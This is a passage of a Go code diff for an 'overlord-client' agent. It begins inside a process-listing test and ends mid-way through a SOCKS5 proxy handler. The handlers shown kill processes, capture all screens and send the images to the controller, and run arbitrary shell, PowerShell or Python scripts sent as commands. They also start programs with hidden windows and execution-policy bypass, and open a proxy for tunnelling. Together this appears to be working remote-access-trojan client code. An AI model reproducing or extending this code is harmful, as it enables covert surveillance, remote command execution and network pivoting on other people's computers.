t.Log("WARNING: No processes returned from listProcesses()")
|
||||
return
|
||||
}
|
||||
|
||||
t.Logf("Retrieved %d processes from system", len(processes))
|
||||
|
||||
for i, proc := range processes {
|
||||
if i < 10 {
|
||||
t.Logf("Process: PID=%d PPID=%d Name=%s CPU=%.2f%% Mem=%d User=%s Type=%s",
|
||||
proc.PID, proc.PPID, proc.Name, proc.CPU, proc.Memory, proc.Username, proc.Type)
|
||||
}
|
||||
|
||||
if proc.PID <= 0 {
|
||||
t.Errorf("Process %d has invalid PID: %d", i, proc.PID)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestProcessTypeClassification(t *testing.T) {
|
||||
|
||||
processes, err := listProcesses()
|
||||
if err != nil {
|
||||
t.Fatalf("listProcesses failed: %v", err)
|
||||
}
|
||||
|
||||
if len(processes) == 0 {
|
||||
t.Skip("No processes available for testing")
|
||||
}
|
||||
|
||||
var foundSystem, foundService, foundOwn bool
|
||||
for _, proc := range processes {
|
||||
switch proc.Type {
|
||||
case "system":
|
||||
foundSystem = true
|
||||
t.Logf("System process example: PID=%d Name=%s User=%s",
|
||||
proc.PID, proc.Name, proc.Username)
|
||||
case "service":
|
||||
foundService = true
|
||||
t.Logf("Service process example: PID=%d Name=%s User=%s",
|
||||
proc.PID, proc.Name, proc.Username)
|
||||
case "own":
|
||||
foundOwn = true
|
||||
t.Logf("Own process example: PID=%d Name=%s User=%s",
|
||||
proc.PID, proc.Name, proc.Username)
|
||||
}
|
||||
|
||||
if foundSystem && foundService && foundOwn {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !foundSystem {
|
||||
t.Log("INFO: No system processes detected in classification")
|
||||
}
|
||||
if !foundService {
|
||||
t.Log("INFO: No service processes detected in classification")
|
||||
}
|
||||
if !foundOwn {
|
||||
t.Log("INFO: No own processes detected in classification")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,89 @@
|
||||
//go:build !windows
|
||||
// +build !windows
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"os/exec"
|
||||
"strconv"
|
||||
"strings"
|
||||
"syscall"
|
||||
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
func listProcesses() ([]wire.ProcessInfo, error) {
|
||||
|
||||
cmd := exec.Command("ps", "aux")
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
processes := make([]wire.ProcessInfo, 0)
|
||||
scanner := bufio.NewScanner(bytes.NewReader(output))
|
||||
|
||||
scanner.Scan()
|
||||
|
||||
for scanner.Scan() {
|
||||
line := scanner.Text()
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) < 11 {
|
||||
continue
|
||||
}
|
||||
|
||||
pid, err := strconv.ParseInt(fields[1], 10, 32)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
cpu, _ := strconv.ParseFloat(fields[2], 64)
|
||||
mem, _ := strconv.ParseFloat(fields[3], 64)
|
||||
|
||||
memBytes := uint64(mem * 8 * 1024 * 1024 * 1024 / 100)
|
||||
|
||||
name := fields[10]
|
||||
username := fields[0]
|
||||
|
||||
ppid := int32(0)
|
||||
ppidCmd := exec.Command("ps", "-o", "ppid=", "-p", fields[1])
|
||||
if ppidOutput, err := ppidCmd.Output(); err == nil {
|
||||
ppidStr := strings.TrimSpace(string(ppidOutput))
|
||||
if ppidVal, err := strconv.ParseInt(ppidStr, 10, 32); err == nil {
|
||||
ppid = int32(ppidVal)
|
||||
}
|
||||
}
|
||||
|
||||
procType := "other"
|
||||
if pid <= 2 || username == "root" {
|
||||
procType = "system"
|
||||
} else {
|
||||
|
||||
currentUserCmd := exec.Command("whoami")
|
||||
if currentUserOutput, err := currentUserCmd.Output(); err == nil {
|
||||
currentUser := strings.TrimSpace(string(currentUserOutput))
|
||||
if username == currentUser {
|
||||
procType = "own"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
processes = append(processes, wire.ProcessInfo{
|
||||
PID: int32(pid),
|
||||
PPID: ppid,
|
||||
Name: name,
|
||||
CPU: cpu,
|
||||
Memory: memBytes,
|
||||
Username: username,
|
||||
Type: procType,
|
||||
})
|
||||
}
|
||||
|
||||
return processes, scanner.Err()
|
||||
}
|
||||
|
||||
func killProcess(pid int32) error {
|
||||
return syscall.Kill(int(pid), syscall.SIGKILL)
|
||||
}
|
||||
@@ -0,0 +1,174 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"overlord-client/cmd/agent/wire"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var (
|
||||
modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
||||
modPsapi = windows.NewLazySystemDLL("psapi.dll")
|
||||
procEnumProcesses = modPsapi.NewProc("EnumProcesses")
|
||||
procGetProcessMemoryInfo = modPsapi.NewProc("GetProcessMemoryInfo")
|
||||
procOpenProcess = modKernel32.NewProc("OpenProcess")
|
||||
procGetProcessImageFileNameW = modPsapi.NewProc("GetProcessImageFileNameW")
|
||||
)
|
||||
|
||||
type PROCESS_MEMORY_COUNTERS struct {
|
||||
CB uint32
|
||||
PageFaultCount uint32
|
||||
PeakWorkingSetSize uintptr
|
||||
WorkingSetSize uintptr
|
||||
QuotaPeakPagedPoolUsage uintptr
|
||||
QuotaPagedPoolUsage uintptr
|
||||
QuotaPeakNonPagedPoolUsage uintptr
|
||||
QuotaNonPagedPoolUsage uintptr
|
||||
PagefileUsage uintptr
|
||||
PeakPagefileUsage uintptr
|
||||
}
|
||||
|
||||
func listProcesses() ([]wire.ProcessInfo, error) {
|
||||
var pids [4096]uint32
|
||||
var bytesReturned uint32
|
||||
|
||||
ret, _, _ := procEnumProcesses.Call(
|
||||
uintptr(unsafe.Pointer(&pids[0])),
|
||||
uintptr(len(pids)*4),
|
||||
uintptr(unsafe.Pointer(&bytesReturned)),
|
||||
)
|
||||
|
||||
if ret == 0 {
|
||||
return nil, fmt.Errorf("EnumProcesses failed")
|
||||
}
|
||||
|
||||
numProcesses := int(bytesReturned / 4)
|
||||
processes := make([]wire.ProcessInfo, 0, numProcesses)
|
||||
|
||||
for i := 0; i < numProcesses; i++ {
|
||||
pid := int32(pids[i])
|
||||
if pid == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
handle, _, _ := procOpenProcess.Call(
|
||||
windows.PROCESS_QUERY_INFORMATION|windows.PROCESS_VM_READ,
|
||||
0,
|
||||
uintptr(pid),
|
||||
)
|
||||
|
||||
if handle == 0 {
|
||||
continue
|
||||
}
|
||||
defer windows.CloseHandle(windows.Handle(handle))
|
||||
|
||||
var filename [windows.MAX_PATH]uint16
|
||||
ret, _, _ := procGetProcessImageFileNameW.Call(
|
||||
handle,
|
||||
uintptr(unsafe.Pointer(&filename[0])),
|
||||
uintptr(len(filename)),
|
||||
)
|
||||
|
||||
name := "Unknown"
|
||||
if ret != 0 {
|
||||
name = syscall.UTF16ToString(filename[:])
|
||||
|
||||
for i := len(name) - 1; i >= 0; i-- {
|
||||
if name[i] == '\\' || name[i] == '/' {
|
||||
name = name[i+1:]
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var memCounters PROCESS_MEMORY_COUNTERS
|
||||
memCounters.CB = uint32(unsafe.Sizeof(memCounters))
|
||||
memory := uint64(0)
|
||||
|
||||
ret, _, _ = procGetProcessMemoryInfo.Call(
|
||||
handle,
|
||||
uintptr(unsafe.Pointer(&memCounters)),
|
||||
uintptr(memCounters.CB),
|
||||
)
|
||||
|
||||
if ret != 0 {
|
||||
memory = uint64(memCounters.WorkingSetSize)
|
||||
}
|
||||
|
||||
var pbi windows.PROCESS_BASIC_INFORMATION
|
||||
ppid := int32(0)
|
||||
err := windows.NtQueryInformationProcess(windows.Handle(handle), windows.ProcessBasicInformation, unsafe.Pointer(&pbi), uint32(unsafe.Sizeof(pbi)), nil)
|
||||
if err == nil {
|
||||
ppid = int32(pbi.InheritedFromUniqueProcessId)
|
||||
}
|
||||
|
||||
username := "System"
|
||||
var token windows.Token
|
||||
if err := windows.OpenProcessToken(windows.Handle(handle), windows.TOKEN_QUERY, &token); err == nil {
|
||||
defer token.Close()
|
||||
tokenUser, err := token.GetTokenUser()
|
||||
if err == nil {
|
||||
account, domain, _, err := tokenUser.User.Sid.LookupAccount("")
|
||||
if err == nil {
|
||||
if domain != "" {
|
||||
username = domain + "\\" + account
|
||||
} else {
|
||||
username = account
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
procType := "other"
|
||||
usernameLower := strings.ToLower(username)
|
||||
nameLower := strings.ToLower(name)
|
||||
|
||||
if pid <= 4 || nameLower == "system" || nameLower == "registry" {
|
||||
procType = "system"
|
||||
} else if strings.Contains(usernameLower, "system") ||
|
||||
strings.Contains(usernameLower, "local service") ||
|
||||
strings.Contains(usernameLower, "network service") ||
|
||||
usernameLower == "system" {
|
||||
procType = "service"
|
||||
} else {
|
||||
|
||||
currentUser, err := windows.GetCurrentProcessToken().GetTokenUser()
|
||||
if err == nil {
|
||||
tokenUser, err := token.GetTokenUser()
|
||||
if err == nil && tokenUser.User.Sid.Equals(currentUser.User.Sid) {
|
||||
procType = "own"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
processes = append(processes, wire.ProcessInfo{
|
||||
PID: pid,
|
||||
PPID: ppid,
|
||||
Name: name,
|
||||
CPU: 0.0,
|
||||
Memory: memory,
|
||||
Username: username,
|
||||
Type: procType,
|
||||
})
|
||||
}
|
||||
|
||||
return processes, nil
|
||||
}
|
||||
|
||||
func killProcess(pid int32) error {
|
||||
handle, err := windows.OpenProcess(windows.PROCESS_TERMINATE, false, uint32(pid))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer windows.CloseHandle(handle)
|
||||
|
||||
return windows.TerminateProcess(handle, 1)
|
||||
}
|
||||
@@ -0,0 +1,209 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"errors"
|
||||
"image"
|
||||
"image/draw"
|
||||
"image/jpeg"
|
||||
"log"
|
||||
goruntime "runtime"
|
||||
|
||||
"overlord-client/cmd/agent/capture"
|
||||
rt "overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
|
||||
"github.com/kbinani/screenshot"
|
||||
)
|
||||
|
||||
func HandleScreenshot(ctx context.Context, env *rt.Env, cmdID string, allDisplays bool) error {
|
||||
if allDisplays {
|
||||
log.Printf("screenshot: capturing all displays")
|
||||
} else {
|
||||
log.Printf("screenshot: capturing primary display")
|
||||
}
|
||||
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("screenshot: panic recovered: %v", r)
|
||||
wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: "screenshot capture panicked",
|
||||
})
|
||||
}
|
||||
}()
|
||||
|
||||
img, displayIndex, bounds, err := captureScreenshotImage(allDisplays)
|
||||
if err != nil {
|
||||
log.Printf("screenshot: capture failed: %v", err)
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: err.Error(),
|
||||
})
|
||||
}
|
||||
|
||||
var buf bytes.Buffer
|
||||
opts := &jpeg.Options{Quality: 85}
|
||||
if err := jpeg.Encode(&buf, img, opts); err != nil {
|
||||
log.Printf("screenshot: jpeg encode failed: %v", err)
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: err.Error(),
|
||||
})
|
||||
}
|
||||
|
||||
jpegData := buf.Bytes()
|
||||
log.Printf("screenshot: captured %dx%d, encoded %d bytes", bounds.Dx(), bounds.Dy(), len(jpegData))
|
||||
|
||||
screenshotResult := wire.ScreenshotResult{
|
||||
Type: "screenshot_result",
|
||||
CommandID: cmdID,
|
||||
Format: "jpeg",
|
||||
Width: bounds.Dx(),
|
||||
Height: bounds.Dy(),
|
||||
Data: jpegData,
|
||||
}
|
||||
|
||||
if err := wire.WriteMsg(ctx, env.Conn, screenshotResult); err != nil {
|
||||
log.Printf("screenshot: failed to send screenshot result: %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
frame := wire.Frame{
|
||||
Type: "frame",
|
||||
Header: wire.FrameHeader{
|
||||
Monitor: displayIndex,
|
||||
FPS: 0,
|
||||
Format: "jpeg",
|
||||
},
|
||||
Data: jpegData,
|
||||
}
|
||||
|
||||
if err := wire.WriteMsg(ctx, env.Conn, frame); err != nil {
|
||||
log.Printf("screenshot: failed to send frame: %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: true,
|
||||
})
|
||||
}
|
||||
|
||||
func captureScreenshotImage(allDisplays bool) (*image.RGBA, int, image.Rectangle, error) {
|
||||
if goruntime.GOOS == "windows" {
|
||||
if img, displayIndex, bounds, err := captureScreenshotImageWindows(allDisplays); err == nil && img != nil {
|
||||
return img, displayIndex, bounds, nil
|
||||
}
|
||||
}
|
||||
|
||||
n := screenshot.NumActiveDisplays()
|
||||
if n == 0 {
|
||||
return nil, 0, image.Rectangle{}, errors.New("no active displays available")
|
||||
}
|
||||
|
||||
displayIndex := 0
|
||||
if allDisplays {
|
||||
minX := int(1e9)
|
||||
minY := int(1e9)
|
||||
maxX := int(-1e9)
|
||||
maxY := int(-1e9)
|
||||
|
||||
for i := 0; i < n; i++ {
|
||||
b := screenshot.GetDisplayBounds(i)
|
||||
if b.Min.X < minX {
|
||||
minX = b.Min.X
|
||||
}
|
||||
if b.Min.Y < minY {
|
||||
minY = b.Min.Y
|
||||
}
|
||||
if b.Max.X > maxX {
|
||||
maxX = b.Max.X
|
||||
}
|
||||
if b.Max.Y > maxY {
|
||||
maxY = b.Max.Y
|
||||
}
|
||||
}
|
||||
|
||||
bounds := image.Rect(minX, minY, maxX, maxY)
|
||||
img, err := screenshot.CaptureRect(bounds)
|
||||
return img, displayIndex, bounds, err
|
||||
}
|
||||
|
||||
minX := int(1e9)
|
||||
minY := int(1e9)
|
||||
for i := 0; i < n; i++ {
|
||||
b := screenshot.GetDisplayBounds(i)
|
||||
if b.Min.X <= minX && b.Min.Y <= minY {
|
||||
minX = b.Min.X
|
||||
minY = b.Min.Y
|
||||
displayIndex = i
|
||||
}
|
||||
}
|
||||
bounds := screenshot.GetDisplayBounds(displayIndex)
|
||||
img, err := screenshot.CaptureRect(bounds)
|
||||
return img, displayIndex, bounds, err
|
||||
}
|
||||
|
||||
func captureScreenshotImageWindows(allDisplays bool) (*image.RGBA, int, image.Rectangle, error) {
|
||||
monitorCount := capture.MonitorCount()
|
||||
if monitorCount <= 0 {
|
||||
return nil, 0, image.Rectangle{}, errors.New("no active displays available")
|
||||
}
|
||||
|
||||
if !allDisplays {
|
||||
img, err := capture.CaptureDisplayRGBABitBlt(0)
|
||||
if err != nil || img == nil {
|
||||
return nil, 0, image.Rectangle{}, err
|
||||
}
|
||||
return img, 0, img.Rect, nil
|
||||
}
|
||||
|
||||
type monCapture struct {
|
||||
bounds image.Rectangle
|
||||
img *image.RGBA
|
||||
}
|
||||
parts := make([]monCapture, 0, monitorCount)
|
||||
minX, minY := int(1e9), int(1e9)
|
||||
maxX, maxY := int(-1e9), int(-1e9)
|
||||
|
||||
for i := 0; i < monitorCount; i++ {
|
||||
bounds := capture.DisplayBounds(i)
|
||||
img, err := capture.CaptureDisplayRGBABitBlt(i)
|
||||
if err != nil || img == nil {
|
||||
return nil, 0, image.Rectangle{}, err
|
||||
}
|
||||
parts = append(parts, monCapture{bounds: bounds, img: img})
|
||||
if bounds.Min.X < minX {
|
||||
minX = bounds.Min.X
|
||||
}
|
||||
if bounds.Min.Y < minY {
|
||||
minY = bounds.Min.Y
|
||||
}
|
||||
if bounds.Max.X > maxX {
|
||||
maxX = bounds.Max.X
|
||||
}
|
||||
if bounds.Max.Y > maxY {
|
||||
maxY = bounds.Max.Y
|
||||
}
|
||||
}
|
||||
|
||||
virtualBounds := image.Rect(minX, minY, maxX, maxY)
|
||||
canvas := image.NewRGBA(image.Rect(0, 0, virtualBounds.Dx(), virtualBounds.Dy()))
|
||||
for _, part := range parts {
|
||||
offX := part.bounds.Min.X - minX
|
||||
offY := part.bounds.Min.Y - minY
|
||||
dst := image.Rect(offX, offY, offX+part.img.Rect.Dx(), offY+part.img.Rect.Dy())
|
||||
draw.Draw(canvas, dst, part.img, part.img.Rect.Min, draw.Src)
|
||||
}
|
||||
|
||||
return canvas, 0, canvas.Rect, nil
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
agentRuntime "overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, scriptContent string, scriptType string) error {
|
||||
log.Printf("script: executing %s script (length: %d bytes)", scriptType, len(scriptContent))
|
||||
|
||||
var cmd *exec.Cmd
|
||||
switch scriptType {
|
||||
case "powershell":
|
||||
if runtime.GOOS == "windows" {
|
||||
cmd = exec.CommandContext(ctx, "powershell.exe", "-NoProfile", "-NonInteractive", "-Command", scriptContent)
|
||||
} else {
|
||||
|
||||
cmd = exec.CommandContext(ctx, "pwsh", "-NoProfile", "-NonInteractive", "-Command", scriptContent)
|
||||
}
|
||||
case "bash":
|
||||
if runtime.GOOS == "windows" {
|
||||
|
||||
cmd = exec.CommandContext(ctx, "bash", "-c", scriptContent)
|
||||
} else {
|
||||
cmd = exec.CommandContext(ctx, "bash", "-c", scriptContent)
|
||||
}
|
||||
case "sh":
|
||||
cmd = exec.CommandContext(ctx, "sh", "-c", scriptContent)
|
||||
case "cmd":
|
||||
if runtime.GOOS == "windows" {
|
||||
cmd = exec.CommandContext(ctx, "cmd.exe", "/c", scriptContent)
|
||||
} else {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: "cmd.exe not available on non-Windows systems",
|
||||
})
|
||||
}
|
||||
case "python":
|
||||
cmd = exec.CommandContext(ctx, "python", "-c", scriptContent)
|
||||
case "python3":
|
||||
cmd = exec.CommandContext(ctx, "python3", "-c", scriptContent)
|
||||
default:
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: "unsupported script type: " + scriptType,
|
||||
})
|
||||
}
|
||||
|
||||
timeout := 5 * time.Minute
|
||||
ctx, cancel := context.WithTimeout(ctx, timeout)
|
||||
defer cancel()
|
||||
|
||||
output, err := cmd.CombinedOutput()
|
||||
|
||||
if err != nil {
|
||||
|
||||
if ctx.Err() == context.DeadlineExceeded {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{
|
||||
Type: "script_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Output: string(output),
|
||||
Error: "Script execution timed out after " + timeout.String(),
|
||||
})
|
||||
}
|
||||
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{
|
||||
Type: "script_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Output: string(output),
|
||||
Error: err.Error(),
|
||||
})
|
||||
}
|
||||
|
||||
log.Printf("script: execution completed successfully (%d bytes output)", len(output))
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{
|
||||
Type: "script_result",
|
||||
CommandID: cmdID,
|
||||
OK: true,
|
||||
Output: strings.TrimSpace(string(output)),
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,73 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"unicode"
|
||||
)
|
||||
|
||||
func parseCommandArgs(input string) []string {
|
||||
if strings.TrimSpace(input) == "" {
|
||||
return []string{}
|
||||
}
|
||||
|
||||
var args []string
|
||||
var current []rune
|
||||
inSingle := false
|
||||
inDouble := false
|
||||
escaped := false
|
||||
|
||||
for _, r := range input {
|
||||
if escaped {
|
||||
current = append(current, r)
|
||||
escaped = false
|
||||
continue
|
||||
}
|
||||
|
||||
if r == '\\' {
|
||||
escaped = true
|
||||
continue
|
||||
}
|
||||
|
||||
if inSingle {
|
||||
if r == '\'' {
|
||||
inSingle = false
|
||||
} else {
|
||||
current = append(current, r)
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
if inDouble {
|
||||
if r == '"' {
|
||||
inDouble = false
|
||||
} else {
|
||||
current = append(current, r)
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
switch {
|
||||
case r == '\'':
|
||||
inSingle = true
|
||||
case r == '"':
|
||||
inDouble = true
|
||||
case unicode.IsSpace(r):
|
||||
if len(current) > 0 {
|
||||
args = append(args, string(current))
|
||||
current = nil
|
||||
}
|
||||
default:
|
||||
current = append(current, r)
|
||||
}
|
||||
}
|
||||
|
||||
if escaped {
|
||||
current = append(current, '\\')
|
||||
}
|
||||
|
||||
if len(current) > 0 {
|
||||
args = append(args, string(current))
|
||||
}
|
||||
|
||||
return args
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
//go:build !windows
|
||||
// +build !windows
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func startSilentProcess(command string, args []string, cwd string, _ bool) error {
|
||||
ext := strings.ToLower(filepath.Ext(command))
|
||||
|
||||
var cmd *exec.Cmd
|
||||
if ext == ".sh" {
|
||||
cmd = exec.Command("sh", append([]string{command}, args...)...)
|
||||
} else {
|
||||
cmd = exec.Command(command, args...)
|
||||
}
|
||||
|
||||
if cwd != "" {
|
||||
cmd.Dir = cwd
|
||||
}
|
||||
|
||||
nullFile, err := os.OpenFile(os.DevNull, os.O_RDWR, 0)
|
||||
if err == nil {
|
||||
cmd.Stdin = nullFile
|
||||
cmd.Stdout = nullFile
|
||||
cmd.Stderr = nullFile
|
||||
}
|
||||
return cmd.Start()
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"syscall"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func startSilentProcess(command string, args []string, cwd string, hideWindow bool) error {
|
||||
ext := strings.ToLower(filepath.Ext(command))
|
||||
|
||||
var cmd *exec.Cmd
|
||||
switch ext {
|
||||
case ".bat", ".cmd":
|
||||
cmd = exec.Command("cmd.exe", append([]string{"/c", command}, args...)...)
|
||||
case ".ps1":
|
||||
cmd = exec.Command("powershell.exe", append([]string{"-ExecutionPolicy", "Bypass", "-NoProfile", "-File", command}, args...)...)
|
||||
default:
|
||||
cmd = exec.Command(command, args...)
|
||||
}
|
||||
|
||||
if cwd != "" {
|
||||
cmd.Dir = cwd
|
||||
}
|
||||
|
||||
if hideWindow {
|
||||
attr := &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
|
||||
nullFile, err := os.OpenFile(os.DevNull, os.O_RDWR, 0)
|
||||
if err == nil {
|
||||
cmd.Stdin = nullFile
|
||||
cmd.Stdout = nullFile
|
||||
cmd.Stderr = nullFile
|
||||
}
|
||||
|
||||
cmd.SysProcAttr = attr
|
||||
return cmd.Start()
|
||||
}
|
||||
|
||||
switch ext {
|
||||
case ".ps1":
|
||||
psArgs := append([]string{"-ExecutionPolicy", "Bypass", "-NoProfile", "-File", command}, args...)
|
||||
cmd = exec.Command("cmd.exe", append([]string{"/c", "start", "", "powershell.exe"}, psArgs...)...)
|
||||
case ".bat", ".cmd":
|
||||
cmd = exec.Command("cmd.exe", append([]string{"/c", "start", "", "cmd.exe", "/c", command}, args...)...)
|
||||
default:
|
||||
cmd = exec.Command("cmd.exe", append([]string{"/c", "start", "", command}, args...)...)
|
||||
}
|
||||
if cwd != "" {
|
||||
cmd.Dir = cwd
|
||||
}
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: false}
|
||||
return cmd.Start()
|
||||
}
|
||||
@@ -0,0 +1,255 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
var (
|
||||
proxyListenerMu sync.Mutex
|
||||
proxyListener net.Listener
|
||||
proxyPort int
|
||||
proxyCtx context.Context
|
||||
proxyCancel context.CancelFunc
|
||||
)
|
||||
|
||||
func HandleProxyStart(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
|
||||
proxyListenerMu.Lock()
|
||||
defer proxyListenerMu.Unlock()
|
||||
|
||||
if proxyListener != nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: "Proxy already running",
|
||||
})
|
||||
}
|
||||
|
||||
requestedPort := 1080
|
||||
if portVal, ok := payload["port"]; ok {
|
||||
if port, ok := portVal.(int); ok && port > 0 {
|
||||
requestedPort = port
|
||||
}
|
||||
}
|
||||
|
||||
listener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", requestedPort))
|
||||
if err != nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: fmt.Sprintf("Failed to start proxy: %v", err),
|
||||
})
|
||||
}
|
||||
|
||||
proxyListener = listener
|
||||
proxyPort = listener.Addr().(*net.TCPAddr).Port
|
||||
proxyCtx, proxyCancel = context.WithCancel(context.Background())
|
||||
|
||||
log.Printf("SOCKS5 proxy started on port %d", proxyPort)
|
||||
|
||||
if err := wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: true,
|
||||
Message: fmt.Sprintf("Proxy started on port %d", proxyPort),
|
||||
}); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
go acceptProxyConnections(proxyCtx, listener)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func HandleProxyStop(ctx context.Context, env *runtime.Env, cmdID string) error {
|
||||
proxyListenerMu.Lock()
|
||||
defer proxyListenerMu.Unlock()
|
||||
|
||||
if proxyListener == nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: "No proxy running",
|
||||
})
|
||||
}
|
||||
|
||||
if proxyCancel != nil {
|
||||
proxyCancel()
|
||||
}
|
||||
|
||||
if err := proxyListener.Close(); err != nil {
|
||||
log.Printf("Error closing proxy listener: %v", err)
|
||||
}
|
||||
|
||||
proxyListener = nil
|
||||
proxyPort = 0
|
||||
|
||||
log.Printf("SOCKS5 proxy stopped")
|
||||
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: true,
|
||||
Message: "Proxy stopped",
|
||||
})
|
||||
}
|
||||
|
||||
func acceptProxyConnections(ctx context.Context, listener net.Listener) {
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
conn, err := listener.Accept()
|
||||
if err != nil {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
log.Printf("Proxy accept error: %v", err)
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
go handleProxyConnection(ctx, conn)
|
||||
}
|
||||
}
|
||||
|
||||
func handleProxyConnection(ctx context.Context, conn net.Conn) {
|
||||
defer conn.Close()
|
||||
|
||||
conn.SetDeadline(time.Now().Add(30 * time.Second))
|
||||
|
||||
buf := make([]byte, 2)
|
||||
if _, err := io.ReadFull(conn, buf); err != nil {
|
||||
log.Printf("Proxy handshake read error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
version := buf[0]
|
||||
nmethods := buf[1]
|
||||
|
||||
if version != 5 {
|
||||
log.Printf("Unsupported SOCKS version: %d", version)
|
||||
return
|
||||
}
|
||||
|
||||
methods := make([]byte, nmethods)
|
||||
if _, err := io.ReadFull(conn, methods); err != nil {
|
||||
log.Printf("Proxy methods read error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
if _, err := conn.Write([]byte{5, 0}); err != nil {
|
||||
log.Printf("Proxy handshake response error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
reqHeader := make([]byte, 4)
|
||||
if _, err := io.ReadFull(conn, reqHeader); err != nil {
|
||||
log.Printf("Proxy request header error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
if reqHeader[0] != 5 {
|
||||
